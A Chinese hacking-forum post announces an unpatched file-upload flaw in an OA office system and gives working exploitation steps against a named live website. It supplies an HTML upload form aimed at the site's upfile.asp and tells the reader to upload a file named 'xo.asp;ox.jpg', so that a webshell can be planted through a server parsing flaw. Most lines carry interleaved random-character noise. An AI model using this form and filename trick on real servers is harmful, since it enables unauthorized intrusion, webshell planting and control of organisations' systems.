全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
4 {. G* D7 t: I. J+ X1 X' P6 [, H​
! g+ r4 Z- g* V5 W% S系统介绍：

* {4 k6 H9 ]8 E# ?% u1 }6 c9 A' x全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

4 Q6 k' K% b5 @8 L$ {) Z9 s主要功能：
/ v1 J9 d" Z: v: N/ }公司通告
工作计划
9 x. O' }# P+ r/ ~; B' {$ B通讯助理
客户资源
我的公文
公文传阅
公共资源
# }: E- P  B& r- C& |资源预约
今日考勤
个人计划
个人通讯录
个人基本档案
未读邮件
6 k. ^3 a3 n8 g$ V8 S4 X: A# k发邮件
) ~9 T+ r) {4 S1 @收件夹
寄件夹
3 N9 \9 p, r; }. K. p' V/ Z) f网络硬盘
网络会议
网络调查
8 N' M! s3 a! d8 I. _. K* X' ?交流论坛
  g% _: N4 D9 e
( s, d9 @( Y5 p4 z有兴趣测试的朋友可以下源码看看

9 t6 a/ D( u3 K" T% b# l源码下载：
- b9 r( ?; i- @  t( j
( C$ R1 s; Y. A! k4 h" m) nhttp://www.mycodes.net/30/4750.htm

2 E0 J2 q: e: X漏洞介绍：

由upfile.asp上传文件漏洞引起

+ ^! S# f! J5 p0 o7 ~$ C! t+ W测试方法：
9 h) D# r. m% o9 p
使用名小子上传http://www.itlynn.com/upfile.asp即可
8 o6 C1 W8 L3 h; Y, X
如果upfile.asp文件被删除不存在。
* A, e+ [- m1 J; F
  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

如果存在那么将如下代码保存为upfile.html。

0 T5 Z2 K  H+ e. }然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
$ I9 b- T! x* i6 J+ S8 ^/ a

4 D" a! H7 w/ ]4 s4 n0 @
01 <table border='0' align="center" cellpadding="5">

* X& B3 B' m; w9 U+ U02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>
: J5 z4 D' X' y+ n/ j. `! m: D
04             <td>报错：</td>

. V7 H' E6 y2 w: r05             <td><input type='radio' name='errnumber' value='0'>
% z  l; t. E3 @
1 T, n. o3 ^0 i2 D1 y7 z, C' P6 S06               自动更名
6 o6 W3 x3 y- G3 ?5 W. |! b, m
07               <input type='radio' name='errnumber' value='1' checked>

) t1 A$ I' Q3 Y7 j08               报错方式
4 f3 n4 R' x* y7 _7 k
09               <input type='radio' name='errnumber' value='2'>

1 U1 M2 `- R4 L) P$ w) a9 V10               直接覆盖</td>
( w" o+ v# N! i/ p% s( F
11           </tr>
5 p! ~# P0 S  Q
12           <tr>
. @8 Q0 z1 _9 _8 Y
13             <td>主题：</td>
3 X, E/ ~3 ^- J- P
14             <td><input type='text' name='filename' size='30'></td>

15           </tr>

0 ], d% s1 }) M16           <tr>
* v1 Q' c) D- @1 H( Q5 w6 E
; I2 \; v, U  V: d: |17             <td>文件：</td>

18             <td><input type="file"name="fruit"size="30"></td>
" H) i' {4 c4 U3 }' P
19           </tr>
4 Z/ C) ^/ w. H) d0 x( Q
20           <tr>
1 x) e1 G2 ]! y, b
( }/ E) J. A7 r4 T, S! O1 K21             <td valign='top'>简介：</td>

: r- H5 e( b/ e/ k6 w22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
1 }2 s- d$ ^3 b' m6 a
23           </tr>

0 e* W; Q7 t2 C( Z0 ~5 O4 v24   
6 B5 X5 R6 ~" Q$ S
; s% r) n  H$ @1 q25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

26           </tr>

27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。

) U7 g( d4 U; L5 ]- Q1 x

上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

此漏洞需要配合解析漏洞利用。